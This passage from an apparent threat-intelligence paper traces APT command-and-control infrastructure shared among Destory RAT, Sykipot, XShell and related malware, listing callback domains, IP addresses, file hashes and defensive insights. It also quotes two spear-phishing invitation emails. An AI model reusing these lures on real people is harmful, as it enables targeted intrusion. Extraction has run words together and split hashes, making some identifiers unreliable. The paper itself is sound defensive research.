ThreatExpert Ltd., 2011) 62 The domain ihi.adv138mail.com is listed as a Backdoor:Win32/Thoper.
A callbacklocation.
(
Wong,2011) 63 The domains previously pointed to a C2 server located at IP address 112.121.171.94.
64 The socially engineered email that communicated back to pu.flowershow.org was sent from IP address 112.121.171.94 the same IPaddress to whichthe callback domain pointed.
65 Emailcourtesy of MilaParkour of contagiodump.blogspot.com.
(
Parkour, contagio: Jul 5 CVE20102883 PDF invitation.pdf with Poison Ivy from 112.121.171.94 pu.flowershow.org, 2011) FIGURE 11: TEXT OF A SOCIALLY ENGINEERED EMAIL SENT FROM IP ADDRESS 112.121.171.94 Additional DestoryRAT Links In addition to having previously shared infrastructure with the known Destory RAT callback domain www.adv138mail.com, the domain www.mailsignin.net has also previously shared infrastructure withatleasttwo other known Destory RAT callback domains.
The domain www.mailsignin.net previously pointed to IP address 175.45.22.220, as did the known Destory RAT callback domains newhose.ntimobile.com and sms.servegame.com66.
A number of subdomains of the Destory RATassociated domain join3com.com alsopreviouslypointedto the same IP address67.
These links suggest that many attacks in which the Destory RAT has been used are linked, not only by the malware, but also through C2 infrastructure.
This further supports the notion that the Destory RAT was developed by, or for, particular attackers and that most, if not all, of the malicious activity involving itisattributable to those attackers.
The Destory callback domains alsohave links to additional malware.
For example, the domain networksec.net has been usedby the DestoryRAT (gm1.networksec.net), by Poison Ivy malware (yoyo.networksec.net 68 ) and by BackdoorFCQ 66 The domains newhose.ntimobile.com and sms.servegame.com are listed as known callbacks for Backdoor.
Sogu and Thoper.
A respectively.
(
Wong,2011) (Mullaney, 2011) 67 The join3com.com subdomains 123.join3com.com, dow.join3com.com, ftp.join3com.com, andico.join3com.com are all known to have pointed to IP address 175.45.22.220.
The domain catalog.join3com.com is listed as a known Backdoor:Win32/Thoper.
A callbacklocation.
(
Wong,2011) 68 The domain yoyo.networksec.net is used by malware with MD5hash 3703 7F67 4BCBBB7E EF38 89AB6EB30268.
(
Threat Expert Ltd., 2008) Dear recipient, The Sasakawa Peace Foundation would like to extend to you an invitation to be our guest speaker at the Americas Strategic Restraint and its Implications for the U.S.- Japan Alliance.
As you know, the Sasakawa Peace Foundation is interested in the U.S.- Japan Alliance Since you are familiar with the field, we know your views will be extremely interesting to us.
please find enclosed further details, we would appreciate having your acceptance soon so we may complete our agenda.
Best wishes, purported sender Dear Sir/Madam, Im greatly honored to invite you to the seminar about technology, which will be held on 28th,July.
We would appreciate it if you would take your spare time to share the occasion with us.
The detail information is in the attachment.
Please confirm your participation at your earlist convenience.
Looking forward to your reply.
Thanks very much.
Best Regards, purported sender OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
(
pingabm.networksec.net, psbm11025.network sec.net andpsbm10.networksec.net69).
Compromised CodeSigning Certificate The observed LURKcommunications appear tobe the same as those generated by malware that was digitally signed using a compromised code signing certificate thatwas used to sign a DestoryRAT,and other malware used in several attacks 70 .
That malware communicates with the domain office.windowupdate.org a domain thatislinked to alyac.org not only by the communications protocol but also by both domain registration tactic and infrastructure71.
(Fagerland,2011) Travlman Links The Destory RAT malware used in the SK Communications hack72 is identical, except for its configuration, to malware73 that communicates with the callback domain wow.travlman.com.
The callback domain previously pointed to the same IP address as that used in the SK Communications hack74.
Both of the malicious files were compiled from the same code on 27 September 2010 at 09:17:04 Greenwich Mean Time (GMT)75, and later configured.
The callback domain wow.travlman.com is also used by malware 76 that produces IP2B communications of an identical format to those decoded from the ExtraData in the Murcy communications.
This highlights an additional link 69 BackdoorFCQ uses several networksec.net subdomains as callback locations.
(
McAfee Inc., 2011) 70 The first reportedabuse of the certificate was in relation to the Hupigon trojan with MD5hash8800 8398 71A33801 B2B4 6F9E 23B7 B7A5.
(
Hispasec Sistemas, 2011) (Common Computer Security Standards) 71 Refer to the LURK Communications section for additional information.
72 The Destory RAT used in the SK Communications hack was hosted on a toolbox as nateon.exe, and called back to nateon.duamlive.com.
It has a SHA1 hash of F84C D73D ABF1 8660 7F986DF98C54 02A57BB5 8AD1andMD5of 4618 84F1 D41E 9E07 09B40AB2CE5A FCA7.
(
Command Five Pty Ltd, 2011) 73 Malware withthe MD5hash 5FCE 1FC1 8283 D76C 396A 3CCC 64BD BBDEcalls back to wow.travlman.com.
74 Bothwow.travlman.comandduamlive.compreviously pointed to IP address 203.160.67.131.
(
rbls, shenqi.travlman.com is not listedin any blacklists, 2011) (DomainTools, LLC) 75 Automated analysis reports confirm the compilation time of the code andthat, while the MD5hash of eachof the filesisdifferent, the MD5hashesof eachof the code sections, except for the .data section, are identical.
(
Hispasec Sistemas, 2011) (Hispasec Sistemas, 2011) 76 Malware with MD5 hash B098 AEE1 6BD1 38C4 1207 5C9D 315AEFC9.
(
Threat Expert Ltd, 2010) between the Destory RAT and the IP2B communications.
Several other travlman.com subdomains are known to exist 77 including at least one that is associated with malware.
The subdomain dm.travlman.com78 is the callback usedbymalware detected by antivirus software as Trojan:Win32/Boupke79.
Link toRSA Breach The majority of the known callback domains for Murcy malware were used in the March 2011 RSA breach.
This suggests that the attackers responsible for the RSA breach also use the Murcy malware.
Given that the malware is reportedly not in widespread use, the Chinese server communicating with path.alyac.org mayhave been compromised by the same attackers responsible for the RSAbreach.
XShell RAT The XShell RAT is commercially available software that appears to have been used in a number of attacks.
There are numerous versions of the XShell RAT,andnot all produce the same communications.
Malware that generates the same XShell C601 communications 80 observed to path.alyac.org appears to have been used in a number of attacks.
Malware thatgenerates similar communications also appears to have been used in a number ofattacks81.
Thatmalware is thought to be an XShell C603 RAT andnotan XShell C601RAT.Itisnotknown whether any of these malicious files were used by the same 77 The following are known travlman.com subdomains dm.travlman.com, g.travlman.com, g1.travlman.com, g2.travlman.com, luandao.travlman.com, mail.travlman.com, seo.travlman.com, shenqi.travlman.com, wayi.travlman.com, andwww.travlman.com.
78 Malware with MD5 hash 70A8 8091 E1F9 A7BE E246 488C CE79 936A is known to request the webpage http://dm.travlman.com/up.txt.
(
Sunbelt Security, 2009) 79 Malware with MD5 hash 70A8 8091 E1F9 A7BE E246 488C CE79 936A is detected by antivirus software as Trojan.
Win32.BoupkeIK, Trojan:Win32/Boupke.genA, and Trojan.
Win32.Boupke.
(
Hispasec Sistemas, 2009) 80 Automatedanalysisreportsexist on the Internet for probableX Shell 601malware withMD5hash 6581 3CBB 660E 91CD 5FA0 8300 E177EB09, 2299 47CC 71A4 601B 8B77 94B4 02E5 36A9, DA2F 9831 5F4C 56FC E212 73E2 1E45 3B76, and F4C0 8D3D F5ED E079 0E34 EAE0 C5DB 8A7A.
(Hispasec Sistemas, 2011) (Threat Expert Ltd, 2011) (Threat Expert Ltd, 2011) (Threat Expert Ltd,2011) 81Automatedanalysisreportsexist on the Internet for probable X Shell 603malware withMD5hash 6799 93AD 2CF8 EFDC 788E 0BA2 04D6 9B0D, andCE93 8C64 7831 080B 7116 5389 E43E 744D.
(Hispasec Sistemas, 2011) (Hispasec Sistemas, 2011) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
attackers who used the Xshell malware which communicates withpath.alyac.org.
Shared AlyacInfrastructure The domain alyac.org previously pointed to a C2 server located at IP address 222.122.20.241 and another located atIPaddress 202.30.224.240.
These IP addresses are associated with a number of other callback domains including bbs.ezxsoft.com, pc.nprotects.org, and wow.travlman.com the latter beinglinkedto boththe DestoryRATandIP2B communications (as previouslydiscussed) 82.
Inaddition toboth having shared infrastructure with alyac.org, the two callback domains bbs.ezxsoft.com and pc.nprotects.org are used by malware that creates a uniquely named directory83.
This indicates a direct relationshipbetween the two pieces of malware.
The domain ezxsoft.com was registered by the same entity(Lee Cooper) as a domain usedin the SK Communications hack (ro.diggfunny.com), further linkingittothe same attackers.
The C2server andthe callback domains alsohave links toa myriadofother malicious activity84.
Sykipot Activity As previously discussed, before it expired, todaygonever.com pointed toa C2 server associated with both the Destroy RAT and NightDragon malware.
The same domain is also associated with Sykipot activity through shared C2 server infrastructure,anddomain registration information.
Over its lifetime the domain todaygonever.com pointed tonumerous IPaddresses,manyofwhichare notnoteworthy as theywere assignedtoservers that hostednumerous websites.
Four ofthe IPaddresses, however, are of particular note IP addresses 67.90.204.228 (as previously discussed), 67.79.149.90, 209.133.72.83 and an IP address allocatedtoa large US financial institution.
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82 Malware detected as Trojan.
Win32.AgentBypass uses the callback domain bbs.ezxsoft.com.
Malware detected as Trojan.
Win32.Genericuses the callbackdomain pc.nprotects.org.
(
GFI SandBox 2011) (GFI SandBox 2011) 83 Both pieces of malware create a directory named 03a075fb70d5d675f9dc26fc and a subdirectory named update.
(
GFI SandBox 2011) (GFI SandBox 2011) 84 For further detailsof the links, refer to the paper SK Hackby an Advanced Persistent Threat.
(
CommandFive Pty Ltd, 2011) IP address 67.79.149.90 previously hosted the known Sykipot domain help.newcarstyle.com.
Both IP address 67.79.149.90 and IP address 209.133.72.83 previously hosted bluelightness.com subdomains85.Theytherefore have additional links to Sykipot activity as shopping.bluelightness.com was previouslyhosted on IPaddress 209.53.155.244 the same IP address as the known Sykipot domains www.topix21century.com and notes.topix21century.com86.The bluelightness.com domain is also linked to mailkr2.com a Destory RATand NightDragon domain previouslydiscussed.
Both domains share infrastructure with the domain worldsecuritys.com87.
As of 6 February, the domains file.filesdelete.com, news.welldone123.net and well.welldone123.net all point to the IP address allocated to the large US financial institution (to which todaygonever.com also previously pointed.)
The domain welldone123.net is a known Sykipot callback domain88.
The domain filesdelete.com is alsootherwise associatedwithmalware89.
The email address listed in the domain registration for todaygonever.com was janagreen2000gmail.com.
The same contactemail address (butdifferentname,address,andphone and fax numbers) was also used in the domain registration for centurycpc.com, filesdelete.com, greenrightway.com, quicklyfindme.com, and newcarstyle.com at least two of whichare known Sykipotmalware domains90.
85 IP address 67.79.149.90 previously hosted helpdesk.bluelightness.com and IP address 209.133.72.83 previously hostedshopping.bluelightness.com.
86 IP address 209.53.155.244 previously hosted notes.topix21century.com, shopping.bluelightness.com, and www.topix21century.com.
The webpage topix21century.com was used, in what is believed to have been a targeted attack, to install Sykipot malware on computerswhichvisitedthe webpage.
The installed malware then communicated with a C2 server located at notes.topix21century.com.
(
Symantec Corporation, 2010) (MalwareGroup.com) 87 In 2011 both the known callback domain cb85.mailkr2.com and test.worldsecuritys.com pointed to IP address 12.68.249.62, the later still points there as of 9 February 2012.
In 2011, bluelightness.com and worldsecuritys.com both pointed to IP address 68.178.232.100, the later still pointsthere as of 9February 2012.
88 The domain welldone123.net is known to be associated with the Sykipot seriesof attacks.
(
Symantec Corporation, 2012) 89 The domain www.filesdelete.com is associated with Troj/BdoorBDM.
(
SophosLtd.,
2012) 90 The domain help.newcarstyle.com is a known Sykipot callback, as is greenrightway.com.
(
Symantec Corporation, 2012) (Malware Domains, 2012) OF29 COPYRIGHT COMMAND FIVE PTYLTD.
ALL RIGHTS RESERVED.
INSIGHTS Increasingly,insteadofmalware using the defaultDNS servers on a compromised computer toresolve itscallback domains to IPaddresses,attackers will specifyDNS servers for the malware to use.
This has significant implications for network defenders.
Suchrequests,if allowed,will bypass the victims DNS servers anddefeat anyblacklists usedbythe victims own DNS servers.
Furthermore,the requests will not appear in the victims DNS server logs, makingdetection and investigation more difficult.
Organisations shouldconsider blocking internal DNS trafficto all locations other than the companysown DNSservers.
Furthermore they shouldbe alertto anyDNS communication attemptsto locations other than the companysown DNSservers,as this maybe an indicator ofa malware infection.
When code signingcertificates are revoked the date ofeffectofthe revocation ischosen sothat,where possible,legitimate software signedwiththe certificate continues to validate.
Unfortunately,this means that sometimes malware signed witha compromisedcertificate will alsocontinue to validate (despite the revocation).
Some malware attemptstocommunicate withC2 infrastructure atfrequentintervals.
The frequencyof these communication attempts can be used to detectthe malicious activity.
TCPport 443traffic is often allowedout of a network withoutinspection bynetwork securityappliances as itisexpectedtobe legitimate,encryptedSSL communications thatcan be difficulttoinspect.
Unfortunately, attackers take advantage ofthis byusingthe port tobypass securityappliances to communicate witha C2 server (suchas with the observedXShell communications).
Attackers often reuse the same code for their malware.
Sometimes they will recompile the code,sometimes theywill merely reconfigure the malware.
This alters the file hashandtherefore sucha hashisnot an effective signature for other configurations ofthe malware.
Hashes of the individual code sections (e.g.
.text, .rdata,.reloc) make for more robust detection as sections within the malicious files often remain the same.
The majorityof legitimate external network communications use the DNSprotocol to determine their destinations IPaddress.
Outbound network activity thatoccurs without a DNSlookup shouldbe treated with suspicion until the purpose ofthe communications can otherwise be determined.
Blockingoutboundcommunication attempts thatare notprecededbya DNSlookupcan be effective in blocking C2communication attempts thatare made directtoan IP address (suchas to an IPaddress listed within an XShell configuration webpage).
Legitimate destination IP addresses should be whitelistedtopreventlegitimate activity from alsobeing blocked.
Attackers will sometimes continue touse a callback domain even when itislistedon blacklists andin multiple malware analysis reports.
Blacklistinga domain can be useful but takingthe time toresearchthe domain and associatedactivitycan helpwiththe development of more effective,longer term mitigation strategies.
DISCLAIMER Machine translation software andautomatedmalware analysisreports have been heavilyrelied on throughoutthe developmentof thispaper.
While data has been verifiedagainst multiple sources where possible, Command Five Pty Ltd does not guarantee the veracityofsources or the accuracyofthe information.
Command Five PtyLtdremindsreaders to exercise caution when visiting untrusted websites and/or opening untrusted digital documents.
CommandFive PtyLtd does not warrant thatthe websites referenced in this paper are trustworthy.
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REFERENCES Blasco,J.
(2012,January 12).
Sykipot variant hijacks DOD and Windows smart cards.
RetrievedFebruary05,2012, from AlienvaultLabs: http://labs.alientvault.com/labs/index.php/2012/whentheaptownsyoursmart cardsandcerts/ Command Five PtyLtd.
(2011,June).
Advanced Persistent Threats: ADecadein Review.
RetrievedSeptember 24, 2011,from CommandFive PtyLtd: http://www.commandfive.com/papers/C5_APT_ADecadeInReview.pdf Command Five PtyLtd.
(2011,September).SKHackby an Advanced Persistent Threat.
Retrieved January06, 2012, from CommandFive PtyLtd: http://www.commandfive.com/papers/C5_APT_SKHack.pdf Common Computer Security Standards.(n.d.
).DigitalCertificates Used byMalware.
Retrieved February 02,2012, from CCSS Forum: http://www.ccssforum.org/malwarecertificates.php?pag4 Coviello,A.
(2011,March17).Open Letter toRSA Customers.
RetrievedJune 13,2011, fromRSA: http://www.rsa.com/node.aspx?id3872 Deutsch,P.
(1996, May).DEFLATECompressed Data Format Specification version 1.3.RetrievedJanuary 08,2012, from IETFRFC 1951: http://www.ietf.org/rfc/rfc1951.txt Deutsch,P.
(1996, May).ZLIB Compressed Data Format Specification version 3.3.RetrievedJanuary25,2012,from IETFRFC 1951:http://www.ietf.org/rfc/rfc1950.txt Doctor Web.
(2011, December 29).Dr.
WebAntivirus How To Remove Virus (Trojan.
DownLoader4.20396) [DRWEBHK.COM].RetrievedDecember 29,2011,fromDr.
Web HK: http://www.drwebhk.com/en/virus_techinfo/Trojan.
DownLoader4.20396.html DomainTools,LLC.(n.d.
).
203.160.67.131IPAddress WHOIS DomainTools.com.
Retrievedfrom DomainTools: http://whois.domaintools.com/203.160.67.131 Dr.Web.
(
2011,July10).
Dr.Web innovation ITsecuritysolutions.
Complex protection against Internet threats.
Retrieved02 03,2012, fromDr.
Web:http://vms.drweb.com/virus/?i1007435 Fagerland,S.
(2011,November 17).Invisible YNK, a CodeSigning Conundrum Norman Blog.
RetrievedDecember 13,2011, fromNorman.com: http://blogs.norman.com/2011/malwaredetectionteam/invisbleynka codesigningconundrum FSecure Corporation.
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